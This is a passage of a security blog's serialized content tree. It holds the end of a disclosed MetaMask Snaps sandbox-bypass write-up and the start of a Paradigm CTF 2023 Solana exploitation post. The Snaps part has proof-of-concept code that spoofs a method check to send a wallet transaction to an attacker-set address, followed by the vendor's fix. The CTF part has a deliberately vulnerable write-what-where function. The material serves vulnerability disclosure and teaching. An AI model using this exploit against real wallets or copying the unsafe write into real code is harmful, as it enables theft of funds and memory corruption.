153},[41218,41222,41226,41230,41234,41238,41242],{"type":22,"tag":264,"props":41219,"children":41220},{"style":1549},[41221],{"type":27,"value":40963},{"type":22,"tag":264,"props":41223,"children":41224},{"style":1539},[41225],{"type":27,"value":210},{"type":22,"tag":264,"props":41227,"children":41228},{"style":4401},[41229],{"type":27,"value":40727},{"type":22,"tag":264,"props":41231,"children":41232},{"style":4309},[41233],{"type":27,"value":4312},{"type":22,"tag":264,"props":41235,"children":41236},{"style":1539},[41237],{"type":27,"value":41011},{"type":22,"tag":264,"props":41239,"children":41240},{"style":4293},[41241],{"type":27,"value":16121},{"type":22,"tag":264,"props":41243,"children":41244},{"style":1539},[41245],{"type":27,"value":4594},{"type":22,"tag":264,"props":41247,"children":41248},{"class":1534,"line":5213},[41249,41253],{"type":22,"tag":264,"props":41250,"children":41251},{"style":4328},[41252],{"type":27,"value":18291},{"type":22,"tag":264,"props":41254,"children":41255},{"style":1539},[41256],{"type":27,"value":4594},{"type":22,"tag":264,"props":41258,"children":41259},{"class":1534,"line":10343},[41260,41264,41269],{"type":22,"tag":264,"props":41261,"children":41262},{"style":1549},[41263],{"type":27,"value":41038},{"type":22,"tag":264,"props":41265,"children":41266},{"style":1597},[41267],{"type":27,"value":41268}," \"eth_sendTransaction\"",{"type":22,"tag":264,"props":41270,"children":41271},{"style":1539},[41272],{"type":27,"value":4812},{"type":22,"tag":264,"props":41274,"children":41275},{"class":1534,"line":10361},[41276,41280],{"type":22,"tag":264,"props":41277,"children":41278},{"style":1549},[41279],{"type":27,"value":41055},{"type":22,"tag":264,"props":41281,"children":41282},{"style":1539},[41283],{"type":27,"value":41284}," [{\n",{"type":22,"tag":264,"props":41286,"children":41287},{"class":1534,"line":10406},[41288,41292,41297,41301],{"type":22,"tag":264,"props":41289,"children":41290},{"style":1549},[41291],{"type":27,"value":33380},{"type":22,"tag":264,"props":41293,"children":41294},{"style":1597},[41295],{"type":27,"value":41296}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":22,"tag":264,"props":41298,"children":41299},{"style":1539},[41300],{"type":27,"value":4380},{"type":22,"tag":264,"props":41302,"children":41303},{"style":4284},[41304],{"type":27,"value":41305},"// change this to your address\n",{"type":22,"tag":264,"props":41307,"children":41308},{"class":1534,"line":10512},[41309,41313,41317],{"type":22,"tag":264,"props":41310,"children":41311},{"style":1549},[41312],{"type":27,"value":33396},{"type":22,"tag":264,"props":41314,"children":41315},{"style":1597},[41316],{"type":27,"value":41296},{"type":22,"tag":264,"props":41318,"children":41319},{"style":1539},[41320],{"type":27,"value":4812},{"type":22,"tag":264,"props":41322,"children":41323},{"class":1534,"line":24810},[41324,41329,41334],{"type":22,"tag":264,"props":41325,"children":41326},{"style":1549},[41327],{"type":27,"value":41328},"        value:",{"type":22,"tag":264,"props":41330,"children":41331},{"style":1597},[41332],{"type":27,"value":41333}," \"0x1\"",{"type":22,"tag":264,"props":41335,"children":41336},{"style":1539},[41337],{"type":27,"value":4812},{"type":22,"tag":264,"props":41339,"children":41340},{"class":1534,"line":24845},[41341],{"type":22,"tag":264,"props":41342,"children":41343},{"style":1539},[41344],{"type":27,"value":41345},"      }]\n",{"type":22,"tag":264,"props":41347,"children":41348},{"class":1534,"line":24853},[41349],{"type":22,"tag":264,"props":41350,"children":41351},{"style":1539},[41352],{"type":27,"value":1674},{"type":22,"tag":264,"props":41354,"children":41355},{"class":1534,"line":24861},[41356],{"type":22,"tag":264,"props":41357,"children":41358},{"style":1539},[41359],{"type":27,"value":7163},{"type":22,"tag":264,"props":41361,"children":41362},{"class":1534,"line":24870},[41363],{"type":22,"tag":264,"props":41364,"children":41365},{"emptyLinePlaceholder":17},[41366],{"type":27,"value":4986},{"type":22,"tag":264,"props":41368,"children":41369},{"class":1534,"line":24912},[41370,41374,41378,41382,41386,41390,41394],{"type":22,"tag":264,"props":41371,"children":41372},{"style":4328},[41373],{"type":27,"value":40513},{"type":22,"tag":264,"props":41375,"children":41376},{"style":1549},[41377],{"type":27,"value":41093},{"type":22,"tag":264,"props":41379,"children":41380},{"style":1539},[41381],{"type":27,"value":210},{"type":22,"tag":264,"props":41383,"children":41384},{"style":4401},[41385],{"type":27,"value":32808},{"type":22,"tag":264,"props":41387,"children":41388},{"style":1539},[41389],{"type":27,"value":2660},{"type":22,"tag":264,"props":41391,"children":41392},{"style":1549},[41393],{"type":27,"value":20581},{"type":22,"tag":264,"props":41395,"children":41396},{"style":1539},[41397],{"type":27,"value":5142},{"type":22,"tag":264,"props":41399,"children":41400},{"class":1534,"line":24945},[41401],{"type":22,"tag":264,"props":41402,"children":41403},{"style":1539},[41404],{"type":27,"value":1692},{"type":22,"tag":264,"props":41406,"children":41407},{"class":1534,"line":24953},[41408],{"type":22,"tag":264,"props":41409,"children":41410},{"emptyLinePlaceholder":17},[41411],{"type":27,"value":4986},{"type":22,"tag":264,"props":41413,"children":41414},{"class":1534,"line":24961},[41415,41419,41423,41428,41432,41437,41441,41446,41451,41455,41459,41464,41468],{"type":22,"tag":264,"props":41416,"children":41417},{"style":4328},[41418],{"type":27,"value":39523},{"type":22,"tag":264,"props":41420,"children":41421},{"style":4293},[41422],{"type":27,"value":40425},{"type":22,"tag":264,"props":41424,"children":41425},{"style":4401},[41426],{"type":27,"value":41427}," onRpcRequest",{"type":22,"tag":264,"props":41429,"children":41430},{"style":4309},[41431],{"type":27,"value":5785},{"type":22,"tag":264,"props":41433,"children":41434},{"style":4722},[41435],{"type":27,"value":41436}," OnRpcRequestHandler",{"type":22,"tag":264,"props":41438,"children":41439},{"style":4309},[41440],{"type":27,"value":4312},{"type":22,"tag":264,"props":41442,"children":41443},{"style":1539},[41444],{"type":27,"value":41445}," ({ ",{"type":22,"tag":264,"props":41447,"children":41448},{"style":1549},[41449],{"type":27,"value":41450},"origin",{"type":22,"tag":264,"props":41452,"children":41453},{"style":1539},[41454],{"type":27,"value":4380},{"type":22,"tag":264,"props":41456,"children":41457},{"style":1549},[41458],{"type":27,"value":32808},{"type":22,"tag":264,"props":41460,"children":41461},{"style":1539},[41462],{"type":27,"value":41463}," }) ",{"type":22,"tag":264,"props":41465,"children":41466},{"style":4293},[41467],{"type":27,"value":16121},{"type":22,"tag":264,"props":41469,"children":41470},{"style":1539},[41471],{"type":27,"value":4594},{"type":22,"tag":264,"props":41473,"children":41474},{"class":1534,"line":24970},[41475],{"type":22,"tag":264,"props":41476,"children":41477},{"emptyLinePlaceholder":17},[41478],{"type":27,"value":4986},{"type":22,"tag":264,"props":41480,"children":41481},{"class":1534,"line":25046},[41482,41487,41491,41495,41499,41503],{"type":22,"tag":264,"props":41483,"children":41484},{"style":4328},[41485],{"type":27,"value":41486},"  switch",{"type":22,"tag":264,"props":41488,"children":41489},{"style":1539},[41490],{"type":27,"value":4370},{"type":22,"tag":264,"props":41492,"children":41493},{"style":1549},[41494],{"type":27,"value":32808},{"type":22,"tag":264,"props":41496,"children":41497},{"style":1539},[41498],{"type":27,"value":210},{"type":22,"tag":264,"props":41500,"children":41501},{"style":1549},[41502],{"type":27,"value":39627},{"type":22,"tag":264,"props":41504,"children":41505},{"style":1539},[41506],{"type":27,"value":16103},{"type":22,"tag":264,"props":41508,"children":41509},{"class":1534,"line":25079},[41510,41515,41520],{"type":22,"tag":264,"props":41511,"children":41512},{"style":4328},[41513],{"type":27,"value":41514},"    case",{"type":22,"tag":264,"props":41516,"children":41517},{"style":1597},[41518],{"type":27,"value":41519}," 'json'",{"type":22,"tag":264,"props":41521,"children":41522},{"style":1539},[41523],{"type":27,"value":6858},{"type":22,"tag":264,"props":41525,"children":41526},{"class":1534,"line":25087},[41527,41531,41535],{"type":22,"tag":264,"props":41528,"children":41529},{"style":4328},[41530],{"type":27,"value":40671},{"type":22,"tag":264,"props":41532,"children":41533},{"style":4401},[41534],{"type":27,"value":40914},{"type":22,"tag":264,"props":41536,"children":41537},{"style":1539},[41538],{"type":27,"value":4977},{"type":22,"tag":264,"props":41540,"children":41541},{"class":1534,"line":25095},[41542,41546,41551],{"type":22,"tag":264,"props":41543,"children":41544},{"style":4328},[41545],{"type":27,"value":41514},{"type":22,"tag":264,"props":41547,"children":41548},{"style":1597},[41549],{"type":27,"value":41550}," 'transaction'",{"type":22,"tag":264,"props":41552,"children":41553},{"style":1539},[41554],{"type":27,"value":6858},{"type":22,"tag":264,"props":41556,"children":41557},{"class":1534,"line":25132},[41558,41562,41566],{"type":22,"tag":264,"props":41559,"children":41560},{"style":4328},[41561],{"type":27,"value":40671},{"type":22,"tag":264,"props":41563,"children":41564},{"style":4401},[41565],{"type":27,"value":41146},{"type":22,"tag":264,"props":41567,"children":41568},{"style":1539},[41569],{"type":27,"value":4977},{"type":22,"tag":264,"props":41571,"children":41572},{"class":1534,"line":25145},[41573,41578],{"type":22,"tag":264,"props":41574,"children":41575},{"style":4328},[41576],{"type":27,"value":41577},"    default",{"type":22,"tag":264,"props":41579,"children":41580},{"style":1539},[41581],{"type":27,"value":6858},{"type":22,"tag":264,"props":41583,"children":41584},{"class":1534,"line":25158},[41585,41590,41594,41599,41603,41608],{"type":22,"tag":264,"props":41586,"children":41587},{"style":4328},[41588],{"type":27,"value":41589},"      throw",{"type":22,"tag":264,"props":41591,"children":41592},{"style":4293},[41593],{"type":27,"value":33248},{"type":22,"tag":264,"props":41595,"children":41596},{"style":4401},[41597],{"type":27,"value":41598}," Error",{"type":22,"tag":264,"props":41600,"children":41601},{"style":1539},[41602],{"type":27,"value":2660},{"type":22,"tag":264,"props":41604,"children":41605},{"style":1597},[41606],{"type":27,"value":41607},"'Method not found.'",{"type":22,"tag":264,"props":41609,"children":41610},{"style":1539},[41611],{"type":27,"value":5142},{"type":22,"tag":264,"props":41613,"children":41614},{"class":1534,"line":25171},[41615],{"type":22,"tag":264,"props":41616,"children":41617},{"style":1539},[41618],{"type":27,"value":7163},{"type":22,"tag":264,"props":41620,"children":41621},{"class":1534,"line":25225},[41622],{"type":22,"tag":264,"props":41623,"children":41624},{"style":1539},[41625],{"type":27,"value":17878},{"type":22,"tag":23,"props":41627,"children":41628},{},[41629,41631,41637,41639,41644],{"type":27,"value":41630},"We set ",{"type":22,"tag":257,"props":41632,"children":41634},{"className":41633},[],[41635],{"type":27,"value":41636},"x.method = \"snap_dialog\"",{"type":27,"value":41638}," to pass the assertion and setup a toJSON function to change this method to ",{"type":22,"tag":257,"props":41640,"children":41642},{"className":41641},[],[41643],{"type":27,"value":40846},{"type":27,"value":41645}," after.",{"type":22,"tag":181,"props":41647,"children":41649},{"id":41648},"mitigation",[41650],{"type":27,"value":41651},"Mitigation",{"type":22,"tag":23,"props":41653,"children":41654},{},[41655,41657,41662,41664,41671],{"type":27,"value":41656},"Metamask mitigated this issue by asserting the arguments after the ",{"type":22,"tag":257,"props":41658,"children":41660},{"className":41659},[],[41661],{"type":27,"value":40390},{"type":27,"value":41663}," function execution. The patch was introduced on commit ",{"type":22,"tag":69,"props":41665,"children":41668},{"href":41666,"rel":41667},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[73],[41669],{"type":27,"value":41670},"168ff08",{"type":27,"value":41672}," with the following changes:",{"type":22,"tag":618,"props":41674,"children":41678},{"className":41675,"code":41676,"language":41677,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[41679],{"type":22,"tag":257,"props":41680,"children":41681},{"__ignoreMap":7},[41682,41690,41698,41706,41714],{"type":22,"tag":264,"props":41683,"children":41684},{"class":1534,"line":1535},[41685],{"type":22,"tag":264,"props":41686,"children":41687},{"style":1539},[41688],{"type":27,"value":41689},"const request = async (args: RequestArguments) => {\n",{"type":22,"tag":264,"props":41691,"children":41692},{"class":1534,"line":1545},[41693],{"type":22,"tag":264,"props":41694,"children":41695},{"style":1597},[41696],{"type":27,"value":41697},"-      assertEthereumOutboundRequest(args);\n",{"type":22,"tag":264,"props":41699,"children":41700},{"class":1534,"line":1560},[41701],{"type":22,"tag":264,"props":41702,"children":41703},{"style":1597},[41704],{"type":27,"value":41705},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":22,"tag":264,"props":41707,"children":41708},{"class":1534,"line":1569},[41709],{"type":22,"tag":264,"props":41710,"children":41711},{"style":4344},[41712],{"type":27,"value":41713},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":22,"tag":264,"props":41715,"children":41716},{"class":1534,"line":1583},[41717],{"type":22,"tag":264,"props":41718,"children":41719},{"style":4344},[41720],{"type":27,"value":41721},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":22,"tag":169,"props":41723,"children":41724},{"id":30246},[41725],{"type":27,"value":20252},{"type":22,"tag":23,"props":41727,"children":41728},{},[41729],{"type":27,"value":41730},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":22,"tag":23,"props":41732,"children":41733},{},[41734],{"type":27,"value":41735},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":22,"tag":4139,"props":41737,"children":41738},{},[41739],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":41741},[41742,41743,41750,41758],{"id":20261,"depth":1545,"text":20264},{"id":36767,"depth":1545,"text":36770,"children":41744},[41745,41746,41747,41748,41749],{"id":36778,"depth":1560,"text":36781},{"id":36846,"depth":1560,"text":36849},{"id":36882,"depth":1560,"text":36885},{"id":38278,"depth":1560,"text":38281},{"id":38635,"depth":1560,"text":38638},{"id":39422,"depth":1545,"text":39425,"children":41751},[41752,41753,41754,41755,41756,41757],{"id":39428,"depth":1560,"text":39431},{"id":39472,"depth":1560,"text":39475},{"id":40376,"depth":1560,"text":40379},{"id":6952,"depth":1560,"text":6955},{"id":40819,"depth":1560,"text":36143},{"id":41648,"depth":1560,"text":41651},{"id":30246,"depth":1545,"text":20252},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":41763,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":41764,"description":41765,"author":41766,"image":41768,"date":41770,"isFeatured":17,"onBlogPage":17,"body":41771,"_type":4157,"_id":47191,"_source":4159,"_file":47192,"_stem":47193,"_extension":4162},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[41767,7010],"nicola",{"src":41769},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":19,"children":41772,"toc":47180},[41773,41787,41807,41812,41816,41829,41854,41860,41865,41880,42234,42249,42514,42530,43173,43179,43184,43197,43205,43417,43425,43728,43736,43879,43887,44412,44418,44430,44443,44457,44462,45230,45235,45243,45248,45254,45266,45331,45336,45349,45362,45368,45396,46547,46560,46602,46607,46612,46626,46766,46787,46808,46815,46866,46874,46885,46898,46903,47027,47040,47142,47146,47159,47164,47176],{"type":22,"tag":23,"props":41774,"children":41775},{},[41776,41778,41785],{"type":27,"value":41777},"In the world of CTFs, ",{"type":22,"tag":69,"props":41779,"children":41782},{"href":41780,"rel":41781},"https://twitter.com/paradigm_ctf",[73],[41783],{"type":27,"value":41784},"Paradigm CTF 2023",{"type":27,"value":41786}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":22,"tag":23,"props":41788,"children":41789},{},[41790,41792,41799,41800],{"type":27,"value":41791},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":22,"tag":69,"props":41793,"children":41796},{"href":41794,"rel":41795},"https://osec.io/blog/2022-03-14-solana-security-intro",[73],[41797],{"type":27,"value":41798},"Solana: An Auditor's Introduction",{"type":27,"value":12290},{"type":22,"tag":69,"props":41801,"children":41804},{"href":41802,"rel":41803},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[73],[41805],{"type":27,"value":41806},"Reverse Engineering Solana with Binary Ninja.\n",{"type":22,"tag":23,"props":41808,"children":41809},{},[41810],{"type":27,"value":41811},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":22,"tag":169,"props":41813,"children":41814},{"id":20261},[41815],{"type":27,"value":20264},{"type":22,"tag":23,"props":41817,"children":41818},{},[41819,41821,41827],{"type":27,"value":41820},"The challenge itself resides into ",{"type":22,"tag":257,"props":41822,"children":41824},{"className":41823},[],[41825],{"type":27,"value":41826},"framework/",{"type":27,"value":41828},", and is composed of 2 parts:",{"type":22,"tag":17988,"props":41830,"children":41831},{},[41832,41843],{"type":22,"tag":1871,"props":41833,"children":41834},{},[41835,41841],{"type":22,"tag":257,"props":41836,"children":41838},{"className":41837},[],[41839],{"type":27,"value":41840},"framework/chall/lib.rs",{"type":27,"value":41842},": The on-chain eBPF program that needs to be exploited.",{"type":22,"tag":1871,"props":41844,"children":41845},{},[41846,41852],{"type":22,"tag":257,"props":41847,"children":41849},{"className":41848},[],[41850],{"type":27,"value":41851},"framework/src/main.rs",{"type":27,"value":41853},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":22,"tag":181,"props":41855,"children":41857},{"id":41856},"vulnerable-program",[41858],{"type":27,"value":41859},"Vulnerable Program",{"type":22,"tag":23,"props":41861,"children":41862},{},[41863],{"type":27,"value":41864},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":22,"tag":1867,"props":41866,"children":41867},{},[41868],{"type":22,"tag":1871,"props":41869,"children":41870},{},[41871,41872,41878],{"type":27,"value":8773},{"type":22,"tag":257,"props":41873,"children":41875},{"className":41874},[],[41876],{"type":27,"value":41877},"data[0] == 0",{"type":27,"value":41879}," a function that lets you write-what-where is executed",{"type":22,"tag":618,"props":41881,"children":41883},{"className":4274,"code":41882,"language":4273,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[41884],{"type":22,"tag":257,"props":41885,"children":41886},{"__ignoreMap":7},[41887,41895,41940,41951,42074,42191,42220,42227],{"type":22,"tag":264,"props":41888,"children":41889},{"class":1534,"line":1535},[41890],{"type":22,"tag":264,"props":41891,"children":41892},{"style":1539},[41893],{"type":27,"value":41894},"#[inline(never)]\n",{"type":22,"tag":264,"props":41896,"children":41897},{"class":1534,"line":1545},[41898,41902,41906,41911,41915,41919,41923,41927,41931,41935],{"type":22,"tag":264,"props":41899,"children":41900},{"style":4293},[41901],{"type":27,"value":14989},{"type":22,"tag":264,"props":41903,"children":41904},{"style":4293},[41905],{"type":27,"value":14994},{"type":22,"tag":264,"props":41907,"children":41908},{"style":4401},[41909],{"type":27,"value":41910}," write",{"type":22,"tag":264,"props":41912,"children":41913},{"style":1539},[41914],{"type":27,"value":2660},{"type":22,"tag":264,"props":41916,"children":41917},{"style":1549},[41918],{"type":27,"value":5013},{"type":22,"tag":264,"props":41920,"children":41921},{"style":4309},[41922],{"type":27,"value":5785},{"type":22,"tag":264,"props":41924,"children":41925},{"style":4309},[41926],{"type":27,"value":8434},{"type":22,"tag":264,"props":41928,"children":41929},{"style":1539},[41930],{"type":27,"value":5045},{"type":22,"tag":264,"props":41932,"children":41933},{"style":4722},[41934],{"type":27,"value":4725},{"type":22,"tag":264,"props":41936,"children":41937},{"style":1539},[41938],{"type":27,"value":41939},"]) {\n",{"type":22,"tag":264,"props":41941,"children":41942},{"class":1534,"line":1560},[41943,41947],{"type":22,"tag":264,"props":41944,"children":41945},{"style":4293},[41946],{"type":27,"value":15132},{"type":22,"tag":264,"props":41948,"children":41949},{"style":1539},[41950],{"type":27,"value":4594},{"type":22,"tag":264,"props":41952,"children":41953},{"class":1534,"line":1569},[41954,41958,41962,41966,41971,41975,41980,41984,41989,41993,41998,42002,42006,42010,42014,42018,42022,42026,42030,42034,42038,42042,42046,42050,42054,42058,42062,42066,42070],{"type":22,"tag":264,"props":41955,"children":41956},{"style":4293},[41957],{"type":27,"value":4365},{"type":22,"tag":264,"props":41959,"children":41960},{"style":1549},[41961],{"type":27,"value":15156},{"type":22,"tag":264,"props":41963,"children":41964},{"style":4309},[41965],{"type":27,"value":4312},{"type":22,"tag":264,"props":41967,"children":41968},{"style":1539},[41969],{"type":27,"value":41970}," std",{"type":22,"tag":264,"props":41972,"children":41973},{"style":4309},[41974],{"type":27,"value":4785},{"type":22,"tag":264,"props":41976,"children":41977},{"style":1539},[41978],{"type":27,"value":41979},"mem",{"type":22,"tag":264,"props":41981,"children":41982},{"style":4309},[41983],{"type":27,"value":4785},{"type":22,"tag":264,"props":41985,"children":41986},{"style":4401},[41987],{"type":27,"value":41988},"transmute",{"type":22,"tag":264,"props":41990,"children":41991},{"style":4309},[41992],{"type":27,"value":4785},{"type":22,"tag":264,"props":41994,"children":41995},{"style":1539},[41996],{"type":27,"value":41997},"\u003C[",{"type":22,"tag":264,"props":41999,"children":42000},{"style":4722},[42001],{"type":27,"value":4725},{"type":22,"tag":264,"props":42003,"children":42004},{"style":1539},[42005],{"type":27,"value":18529},{"type":22,"tag":264,"props":42007,"children":42008},{"style":4344},[42009],{"type":27,"value":5378},{"type":22,"tag":264,"props":42011,"children":42012},{"style":1539},[42013],{"type":27,"value":24361},{"type":22,"tag":264,"props":42015,"children":42016},{"style":4309},[42017],{"type":27,"value":5865},{"type":22,"tag":264,"props":42019,"children":42020},{"style":4293},[42021],{"type":27,"value":5035},{"type":22,"tag":264,"props":42023,"children":42024},{"style":4722},[42025],{"type":27,"value":7151},{"type":22,"tag":264,"props":42027,"children":42028},{"style":1539},[42029],{"type":27,"value":8904},{"type":22,"tag":264,"props":42031,"children":42032},{"style":1549},[42033],{"type":27,"value":5013},{"type":22,"tag":264,"props":42035,"children":42036},{"style":1539},[42037],{"type":27,"value":5045},{"type":22,"tag":264,"props":42039,"children":42040},{"style":4309},[42041],{"type":27,"value":4352},{"type":22,"tag":264,"props":42043,"children":42044},{"style":4344},[42045],{"type":27,"value":5378},{"type":22,"tag":264,"props":42047,"children":42048},{"style":1539},[42049],{"type":27,"value":16710},{"type":22,"tag":264,"props":42051,"children":42052},{"style":4309},[42053],{"type":27,"value":210},{"type":22,"tag":264,"props":42055,"children":42056},{"style":4401},[42057],{"type":27,"value":27474},{"type":22,"tag":264,"props":42059,"children":42060},{"style":1539},[42061],{"type":27,"value":15178},{"type":22,"tag":264,"props":42063,"children":42064},{"style":4309},[42065],{"type":27,"value":210},{"type":22,"tag":264,"props":42067,"children":42068},{"style":4401},[42069],{"type":27,"value":4972},{"type":22,"tag":264,"props":42071,"children":42072},{"style":1539},[42073],{"type":27,"value":16724},{"type":22,"tag":264,"props":42075,"children":42076},{"class":1534,"line":1583},[42077,42081,42086,42090,42094,42098,42102,42106,42110,42114,42118,42122,42126,42130,42134,42138,42142,42146,42150,42154,42158,42163,42167,42171,42175,42179,42183,42187],{"type":22,"tag":264,"props":42078,"children":42079},{"style":4293},[42080],{"type":27,"value":4365},{"type":22,"tag":264,"props":42082,"children":42083},{"style":1549},[42084],{"type":27,"value":42085}," val",{"type":22,"tag":264,"props":42087,"children":42088},{"style":4309},[42089],{"type":27,"value":4312},{"type":22,"tag":264,"props":42091,"children":42092},{"style":1539},[42093],{"type":27,"value":41970},{"type":22,"tag":264,"props":42095,"children":42096},{"style":4309},[42097],{"type":27,"value":4785},{"type":22,"tag":264,"props":42099,"children":42100},{"style":1539},[42101],{"type":27,"value":41979},{"type":22,"tag":264,"props":42103,"children":42104},{"style":4309},[42105],{"type":27,"value":4785},{"type":22,"tag":264,"props":42107,"children":42108},{"style":4401},[42109],{"type":27,"value":41988},{"type":22,"tag":264,"props":42111,"children":42112},{"style":4309},[42113],{"type":27,"value":4785},{"type":22,"tag":264,"props":42115,"children":42116},{"style":1539},[42117],{"type":27,"value":41997},{"type":22,"tag":264,"props":42119,"children":42120},{"style":4722},[42121],{"type":27,"value":4725},{"type":22,"tag":264,"props":42123,"children":42124},{"style":1539},[42125],{"type":27,"value":18529},{"type":22,"tag":264,"props":42127,"children":42128},{"style":4344},[42129],{"type":27,"value":5378},{"type":22,"tag":264,"props":42131,"children":42132},{"style":1539},[42133],{"type":27,"value":24361},{"type":22,"tag":264,"props":42135,"children":42136},{"style":4722},[42137],{"type":27,"value":9336},{"type":22,"tag":264,"props":42139,"children":42140},{"style":1539},[42141],{"type":27,"value":8904},{"type":22,"tag":264,"props":42143,"children":42144},{"style":1549},[42145],{"type":27,"value":5013},{"type":22,"tag":264,"props":42147,"children":42148},{"style":1539},[42149],{"type":27,"value":5045},{"type":22,"tag":264,"props":42151,"children":42152},{"style":4344},[42153],{"type":27,"value":5378},{"type":22,"tag":264,"props":42155,"children":42156},{"style":4309},[42157],{"type":27,"value":4352},{"type":22,"tag":264,"props":42159,"children":42160},{"style":4344},[42161],{"type":27,"value":42162},"16",{"type":22,"tag":264,"props":42164,"children":42165},{"style":1539},[42166],{"type":27,"value":16710},{"type":22,"tag":264,"props":42168,"children":42169},{"style":4309},[42170],{"type":27,"value":210},{"type":22,"tag":264,"props":42172,"children":42173},{"style":4401},[42174],{"type":27,"value":27474},{"type":22,"tag":264,"props":42176,"children":42177},{"style":1539},[42178],{"type":27,"value":15178},{"type":22,"tag":264,"props":42180,"children":42181},{"style":4309},[42182],{"type":27,"value":210},{"type":22,"tag":264,"props":42184,"children":42185},{"style":4401},[42186],{"type":27,"value":4972},{"type":22,"tag":264,"props":42188,"children":42189},{"style":1539},[42190],{"type":27,"value":16724},{"type":22,"tag":264,"props":42192,"children":42193},{"class":1534,"line":1603},[42194,42199,42203,42208,42212,42216],{"type":22,"tag":264,"props":42195,"children":42196},{"style":1549},[42197],{"type":27,"value":42198},"        ptr",{"type":22,"tag":264,"props":42200,"children":42201},{"style":4309},[42202],{"type":27,"value":210},{"type":22,"tag":264,"props":42204,"children":42205},{"style":4401},[42206],{"type":27,"value":42207},"write_volatile",{"type":22,"tag":264,"props":42209,"children":42210},{"style":1539},[42211],{"type":27,"value":2660},{"type":22,"tag":264,"props":42213,"children":42214},{"style":1549},[42215],{"type":27,"value":13931},{"type":22,"tag":264,"props":42217,"children":42218},{"style":1539},[42219],{"type":27,"value":5142},{"type":22,"tag":264,"props":42221,"children":42222},{"class":1534,"line":1612},[42223],{"type":22,"tag":264,"props":42224,"children":42225},{"style":1539},[42226],{"type":27,"value":1674},{"type":22,"tag":264,"props":42228,"children":42229},{"class":1534,"line":1621},[42230],{"type":22,"tag":264,"props":42231,"children":42232},{"style":1539},[42233],{"type":27,"value":1692},{"type":22,"tag":1867,"props":42235,"children":42236},{"start":1545},[42237],{"type":22,"tag":1871,"props":42238,"children":42239},{},[42240,42241,42247],{"type":27,"value":8773},{"type":22,"tag":257,"props":42242,"children":42244},{"className":42243},[],[42245],{"type":27,"value":42246},"data[0] == 1",{"type":27,"value":42248},", a CPI to a non-existent program is executed:",{"type":22,"tag":618,"props":42250,"children":42252},{"className":4274,"code":42251,"language":4273,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[42253],{"type":22,"tag":257,"props":42254,"children":42255},{"__ignoreMap":7},[42256,42263,42307,42332,42362,42402,42423,42430,42437,42449,42465,42477,42488,42507],{"type":22,"tag":264,"props":42257,"children":42258},{"class":1534,"line":1535},[42259],{"type":22,"tag":264,"props":42260,"children":42261},{"style":1539},[42262],{"type":27,"value":41894},{"type":22,"tag":264,"props":42264,"children":42265},{"class":1534,"line":1545},[42266,42270,42274,42279,42283,42287,42291,42295,42299,42303],{"type":22,"tag":264,"props":42267,"children":42268},{"style":4293},[42269],{"type":27,"value":14989},{"type":22,"tag":264,"props":42271,"children":42272},{"style":4293},[42273],{"type":27,"value":14994},{"type":22,"tag":264,"props":42275,"children":42276},{"style":4401},[42277],{"type":27,"value":42278}," call",{"type":22,"tag":264,"props":42280,"children":42281},{"style":1539},[42282],{"type":27,"value":2660},{"type":22,"tag":264,"props":42284,"children":42285},{"style":1549},[42286],{"type":27,"value":5013},{"type":22,"tag":264,"props":42288,"children":42289},{"style":4309},[42290],{"type":27,"value":5785},{"type":22,"tag":264,"props":42292,"children":42293},{"style":4309},[42294],{"type":27,"value":8434},{"type":22,"tag":264,"props":42296,"children":42297},{"style":1539},[42298],{"type":27,"value":5045},{"type":22,"tag":264,"props":42300,"children":42301},{"style":4722},[42302],{"type":27,"value":4725},{"type":22,"tag":264,"props":42304,"children":42305},{"style":1539},[42306],{"type":27,"value":41939},{"type":22,"tag":264,"props":42308,"children":42309},{"class":1534,"line":1560},[42310,42314,42319,42323,42328],{"type":22,"tag":264,"props":42311,"children":42312},{"style":4293},[42313],{"type":27,"value":4296},{"type":22,"tag":264,"props":42315,"children":42316},{"style":1549},[42317],{"type":27,"value":42318}," 